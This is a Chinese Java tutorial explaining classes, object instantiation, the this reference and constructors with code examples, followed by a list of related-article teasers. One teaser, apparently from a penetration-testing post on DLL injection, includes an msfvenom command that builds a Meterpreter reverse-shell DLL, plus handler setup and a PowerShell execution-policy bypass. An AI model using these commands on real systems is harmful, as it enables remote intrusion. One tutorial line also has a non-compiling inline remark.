Java类和对象(详解)

news2024/9/22 7:29:42

前言:

        Java中类和对象是比较重要的一章,这一章可以让我们深刻认识到Java语言的"精妙之处",它不像C语言那么"细",也不想其他语言封装的那么"保守"。

        游刃有余的解决一系列面向对象问题。

面向对象的理解:

        Java是一门纯面向对象的语言(Object Oriented Program,简称OOP),在面向对象的世界里,一切皆为对象。向对象是解决问题的一种思想,主要依靠对象之间的交互完成一件事情。用面向对象的思想来涉及程序,更符合人们对事物的认知,对于大型程序的设计、扩展以及维护都非常友好。

面向对象和面向过程:

        什么是面向过程:面向过程大家可以理解为把一件事,或者一个东西拆的很细,比如说一辆汽车,这个汽车就是一个对象,这个过程是什么,就是把汽车拆解,每一个零件的生产拼装,或者是每一个功能是怎么是实现的,都有详细的过程。

        什么是面向对象:刚刚举例的汽车其实就是一个对象,当我们使用汽车的时候,我们只需要知道它有哪些功能,这些功能能做什么,需要的时候就去用,不需要了解其内部是怎么实现这个功能的。人和车就是两个对象,其实整个过程就是人与车两个对象之间的交互。

类的定义和使用:

        面相对象程序设计关注的是对象,而对象是现实生活中的实体,比如:洗衣机。但是洗衣机计算机并不认识,需要开发人员告诉给计算机什么是洗衣机。

        所以我们需要抽象出一个对象出来,也就是告诉计算机这个洗衣机的长,宽,高,颜色,可以使用的功率等的特征,还需要告诉洗衣机它的作用功能有哪些。

        综上我们在抽象出一个对象的时候,需要描述抽象对象的特征和功能!!

类的定义格式:

 java中定义类时需要用到class关键字,具体语法如下:

 
采用 Java 语言将洗衣机类在计算机中定义完成,经过 javac 编译之后形成 .class 文件,在 JVM 的基础上计算机就可以识别了。
注意事项:
1. 一般一个文件当中只定义一个类
2. main 方法所在的类 一般要使用public修饰 ( 注意: Eclipse 默认会在 public 修饰的类中找 main 方法 )
3. public修饰的类必须要和文件名相同
4. 不要轻易去修改 public 修饰的类的名称,如果要修改,通过开发工具修改

类的实例化: 

什么是实例化:

        定义了一个类,就相当于在计算机中定义了一种新的类型,与intdouble类似,只不过intdoublejava语言自 带的内置类型,而类是用户自定义了一个新的类型。它们都是类(一种新定 义的类型)有了这些自定义的类型之后,就可以使用这些类来定义实例(或者称为对象)用类类型创建对象的过程,称为类的实例化,在java中采用new关键字,配合类名来实例化对象。

 类只是一个对象的框架,至于框架里面是是什么还得自己填充。

例如:

public class Test {
    public static void main(String[] args) {
    Dog dog = new Dog();
    dog.color = "yellow";
    dog.name = "旺财";
    dog.wag();
    dog.barks();
    //dog2
    Dog dog2 = new Dog();
    dog2.color = "black";
    dog2.name = "小黑";
    dog2.barks();
    dog2.wag();
    }
}
注意事项
1、new 关键字用于创建一个对象的实例 .
2、使用 . 来访问对象中的属性和方法 .
3、同一个类可以创建对个实例

类和对象的说明:

1. 类只是 一个 模型 一样的东西,用来对一个实体进行描述,限定了类有哪些成员 .
2. 类是一种自定义的类型 ,可以用来定义变量 .
3. 一个类可以实例化出多个对象, 实例化出的对象 占用实际的物理空间,存储类成员变量

 this引用:

什么是this引用,又为什么会有this引用?

为什么会有this引用:

先看例子:

//写一个类

class Date{
    public int year;
    public int month;
    public int day;
    public void setDay(int x,int y,int z){
        year = x;
        month = y;
        day = z;
    }
    public void print(){
        System.out.println(year+"."+month+"."+day);
    }
}

//实例化类

public static void main(String[] args) {
    Date d1 = new Date();
    Date d2 = new Date();
    Date d3 = new Date();
    d1.setDay(2024,9,7);
    d2.setDay(2024,9,8);
    d3.setDay(2024,9,9);
    //打印日期
    d1.print();
    d2.print();
    d3.print();
}

这是一个关于可与日期的类,类中有年月日三个成员变量,还有两个方法(行为),一个是可以可以修改日期的方法,一个是可以打印日期的方法。

 此时注意我将修改日期的方法中的参数改为和成员变量同名的会怎么样!
 

class Date{
    public int year;
    public int month;
    public int day;
    public void setDay(int year,int month,int day){
        year = year;
        month = month;
        day = day;
    }
    public void print(){
        System.out.println(year+"."+month+"."+day);
    }
}
public static void main(String[] args) {
    Date d1 = new Date();
    Date d2 = new Date();
    Date d3 = new Date();
    d1.setDay(2024,9,7);
    d2.setDay(2024,9,8);
    d3.setDay(2024,9,9);
    //打印日期
    d1.print();
    d2.print();
    d3.print();
}

结果会是怎样?

 此时那函数体中到底是谁给谁赋值?成员变量给成员变量?参数给参数?参数给成员变量?成员变量参数?估计自己都搞不清楚了。

以上的两个疑问问题都会在this这里得到解决!

什么是this引用:

        this引用指向当前对象 ( 成员方法运行时调用该成员方法的对象 ) ,在成员方法中所有成员变量的操作,都是通过该 引用去访问 。只不过所有的操作对用户是透明的,即用户不需要来传递,编译器自动完成。
 
class Date{
    public int year;
    public int month;
    public int day;
    public void setDay(int year,int month,int day){
        this.year = year;//表示该对象的year与参数的year做区分
        this.month = month;//表示该对象的month与参数的month做区分
        this.day = day;//表示该对象的day与参数的day做区分
    }
    public void print(){
        System.out.println(year+"."+month+"."+day);
    }
}

也就相当于this里面存的是调用该成员方法的对象的地址! (this是引用类型,之前讲到过引用类型的特点!)

所以为了避免以上的问题,可以在类里面有关变量的方法里都可以加上this。 

this引用的特征:

1. this 的类型:对应类类型引用,即哪个对象调用就是哪个对象的引用类型
2. this 只能在 " 成员方法"中使用
3. " 成员方法 " 中, this只能引用当前对象,不能再引用其他对象
4. this 成员方法 第一个隐藏的参数,编译器会自动传递,在成员方法执行时,编译器会负责将调用成员方法对象的引用传递给该成员方法,this负责来接收。

对象的构造和初始化:

如何初始化对象:

通过前面知识点的学习知道,在 Java 方法内部定义一个局部变量时,必须要初始化,否则会编译失败。
public static void main ( String [] args ) {
int a ;
System . out . println ( a );
}
// Error:(26, 28) java: 可能尚未初始化变量 a
要让上述代码通过编译,非常简单,只需在正式使用 a 之前,给 a 设置一个初始值即可。如果是对象:
public static void main ( String [] args ) {
Date d = new Date ();
d . printDate ();
d . setDate ( 2021 , 6 , 9 );
d . printDate ();
}
// 代码可以正常通过编译
需要调用之前写的 SetDate 方法才可以将具体的日期设置到对象中。 通过上述例子发现两个问题:
1. 每次对象创建好后调用 SetDate 方法设置具体日期,比较麻烦,那对象该如何初始化?
2. 局部变量必须要初始化才能使用,为什么字段声明之后没有给值依然可以使用?

构造方法:

        构造方法( 也称为构造器 ) 是一个特殊的成员方法, 名字必须与类名相同,在创建对象时,由编译器自动调用,并且 在整个对象的生命周期内只调用一次
public class Date {
public int year ;
public int month ;
public int day ;
// 构造方法:
// 名字与类名相同,没有返回值类型,设置为 void 也不行
// 一般情况下使用 public 修饰
// 在创建对象时由编译器自动调用,并且在对象的生命周期内只调用一次
        public Date(int year, int month, int day){
                this.year = year;                
                this.month = month;
                this.day = day;
                System.out.println("Date(int,int,int)方法被调用了");
}
public void printDate (){
System . out . println ( year + "-" + month + "-" + day );
}
public static void main ( String [] args ) {
// 此处创建了一个 Date 类型的对象,并没有显式调用构造方法
Date d = new Date ( 2021 , 6 , 9 ); // 输出 Date(int,int,int) 方法被调用了
d . printDate (); // 2021-6-9
}
}

注意是每次实例化一个对象的时候就会首先调用构造方法。(不论这个构造方法在哪)

 如果自己没有构造方法,系统会自动调用一个空的构造方法,如果自己写了构造方法,那么就不会再调用系统的构造方法了,只会调用自己写的。

注意:构造方法的作用就是对对象中的成员进行初始化,并不负责给对象开辟空间。

 特征:

1. 名字必须与类名相同
2. 没有返回值类型,设置为void也不行
3. 创建对象时由编译器自动调用,并且在对象的生命周期内只调用一次 ( 相当于人的出生,每个人只能出生一次 )
4. 构造方法可以重载(用户根据自己的需求提供不同参数的构造方法)。
注意: 一旦用户定义,编译器则不再生成。

构造方法中,可以通过this调用其他构造方法来简化代码:

 class Date {
    public int year;
    public int month;
    public int day;
    // 无参构造方法--内部给各个成员赋值初始值,该部分功能与三个参数的构造方法重复
// 此处可以在无参构造方法中通过this调用带有三个参数的构造方法
// 但是this(1900,1,1);必须是构造方法中第一条语句
    public Date(){
//System.out.println(year); 注释取消掉,编译会失败
        this(1900, 1, 1);(必须放在第一位)
//this.year = 1900;
//this.month = 1;
//this.day = 1;
    }
    // 带有三个参数的构造方法
    public Date(int year, int month, int day) {
        this.year = year;
        this.month = month;
        this.day = day;
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2115473.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据集 视线估计-unityeyes-合成数据 >> DataBall

视线估计-合成数据-三维建模-人工智能unityeyes 人眼视线估计仿真合成数据集 inproceedings{wood2016_etra, title {Learning an Appearance-Based Gaze Estimator from One Million Synthesised Images}, author {Wood, Erroll and Baltru{\v{s}}aitis, Tadas and Morency,…

如何使div居中?CSS居中终极指南

前言 长期以来,如何在父元素中居中对齐一个元素,一直是一个让人头疼的问题,随着 CSS 的发展,越来越多的工具可以用来解决这个难题,五花八门的招式一大堆,这篇博客,旨在帮助你理解不同的居中方法…

【电子通识】半导体工艺——保护晶圆表面的氧化工艺

在文章【电子通识】半导体工艺——晶圆制造中我们讲到晶圆的一些基础术语和晶圆制造主要步骤:制造锭(Ingot)、锭切割(Wafer Slicing)、晶圆表面抛光(Lapping&Polishing)。 那么其实当晶圆暴露在大气中或化学物质中的氧气时就会形成氧化膜。这与铁(Fe)暴露在大气…

MySQL record 02 part

查看已建数据库的基本信息: show CREATE DATABASE mydb; 注意,是DATABASE 不是 DATABASEs, 命令成功执行后,回显的信息有: CREATE DATABASE mydb /*!40100 DEFAULT CHARACTER SET utf8mb3 / /!80016 DEFAULT ENCRYPTIO…

基于Python+大数据爬虫+数据可视化大屏的耳机信息的爬取与分析平台设计和实现(2025最新优质项目-系统+源码+部署文档)

博主介绍:✌全网粉丝50W,csdn特邀作者、博客专家、CSDN新星计划导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌ 技术范围:SpringBoot、Vue、SSM、HLM…

新手入门Python:Python类中自带的装饰器详解与应用

文章目录 📖 介绍 📖🏡 演示环境 🏡📒 文章内容 📒📝 什么是装饰器?📝 常用装饰器详解📝 高级装饰器📝 综合应用示例⚓️ 相关链接 ⚓️📖 介绍 📖 在Python编程中,有一类特别的工具,它们可以改变或增强函数和方法的行为。这些工具被称为装饰器。对…

使用宝塔面板安装mrdoc

使用宝塔面板安装mrdoc 1、所需环境2、ubuntu系统安装3、宝塔面板安装4、NginxPHPMySQL安装5、python项目管理器安装6、 python版本安装7、mrdoc的部署7.1、下载项目源码7.2、新建python管理器项目 8、使用MySQL作为默认数据库8.1、安装mysqlclient插件8.2、配置数据库连接信息…

qt多线程的两种方法run和movetothread

qt多线程的有什么用? 将耗时长的操作丢入专属线程执行,这样就不会影响主线程的界面操作,操作完再用信号槽等的方式返回结果 1.界面和部件相关都必须在主界面运行,不要用子线程调用或者操作,会引起奇怪的bug&#xff…

推荐一款免费使用的电脑笔记软件,工作必备

今天为大家介绍一款开源的笔记软件——Beaver Notes(海狸笔记)。 海狸笔记(Beaver Notes)是一款注重隐私保护的免费、开源且无广告的笔记工具。它拥有一个干净且吸引人的用户界面,操作直观便捷,并且兼容 W…

验证码的作用,为什么要存在验证码?

背景 在现代网络应用中,验证码被广泛使用以实现人机识别和减轻服务器负担。常见的验证码为以下几类: 图形验证码:通过展示一个随机生成的图形,要求用户输入对应的文字或数字来判断用户是否为真实用户。滑块验证码:用…

基于VS2022+Qt5+C++的网络调试助手开发

目录 一、前言 二、环境准备以及项目创建 三、 项目实现 1.ui界面设计 2.添加NetWork模块 QTcpSocket 和 QTcpServer QUdpSocket 3.主要功能实现 ①IP扫描 ②端口设置 ③数据接收 ④数据发送 ⑤日志保存 4.打包成exe 四、效果展示 五、总结 一、前言 我之前用…

Mysql高级篇(中)——索引介绍

Mysql高级篇(中)——索引介绍 一、索引本质二、索引优缺点三、索引分类(1)按数据结构分类(2)按功能分类(3) 按存储引擎分类(4) 按存储方式分类(5&…

通信工程学习:什么是DB数据库、DBS数据库系统、DBMS数据库管理系统

DB数据库、DBS数据库系统、DBMS数据库管理系统 在计算机科学中,数据库(DB)、数据库系统(DBS)和数据库管理系统(DBMS)是构建和管理数据存储与检索系统的核心概念。下面将分别详细解释这三个术语。…

基于人工智能的智能家居语音控制系统

目录 引言项目背景环境准备 硬件要求软件安装与配置系统设计 系统架构关键技术代码示例 数据预处理模型训练模型预测应用场景结论 1. 引言 随着物联网(IoT)和人工智能技术的发展,智能家居语音控制系统已经成为现代家庭的一部分。通过语音控…

Spring入门案例创建流程

Spring详细创建流程如下 1)创建Maven工程 打开idea主界面 new Project > Name > Language > Maven > JDK > GroupId > Create Src > 鼠标右键>Delete 创建module 鼠标右键spring-demo > new > Module new Module > Name > L…

RocksDB简介

一、RocksDB是什么 常见的数据库如 Redis Mysql Mongo 可以单独提供网络服务RocksDB提供存储服务,是一个嵌入式KV存储引擎 Rocksdb没有server code,用户需要自己实现server的部分来得到c-s架构的数据库。二、RocksDB的诞生 基于flash存储和ssd普及,网络latency在query worklo…

WEB渗透权限维持篇-DLL注入\劫持

DLL注入 Powershell 生成DLL >msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.0.105 LPORT6666 -f dll -o /var/www/html/x.dll >use exploit/multi/handler >set payload windows/x64/meterpreter/reverse_tcp >Powershell -nop -exec bypass -…

MFC工控项目实例之十一板卡测试信号输入界面

承接专栏《MFC工控项目实例之十添加系统测试对话框》 相关代码 1、在BoardTest.h文件中添加代码 class CBoardTest : public CDialog { // Construction public:CBoardTest(CWnd* pParent NULL); // standard constructorCButtonST m_btnStart[16];CWinThread* pThread…

网络编程入门概念篇

1.网络编程-概念(套接字编程) 网络体系结构 网络体系结构指的是网络的层次结构和每一层所使用的协议的集合 实现网络传输的功能非常繁杂,所以采用了分而治之的设计方法,把网络的功能划分为不同的模块,以分层的形式有…

【机器学习】决策树与随机森林:模型对比与应用案例分析

文章目录 一.引言 在现代数据科学的世界中,决策树和随机森林是两个非常重要且广泛使用的机器学习算法。它们不仅因其高效性和强大的表现力而受到青睐,而且在解决实际问题时也表现出了令人印象深刻的能力。本篇文章将深入探讨这两个算法,帮助读…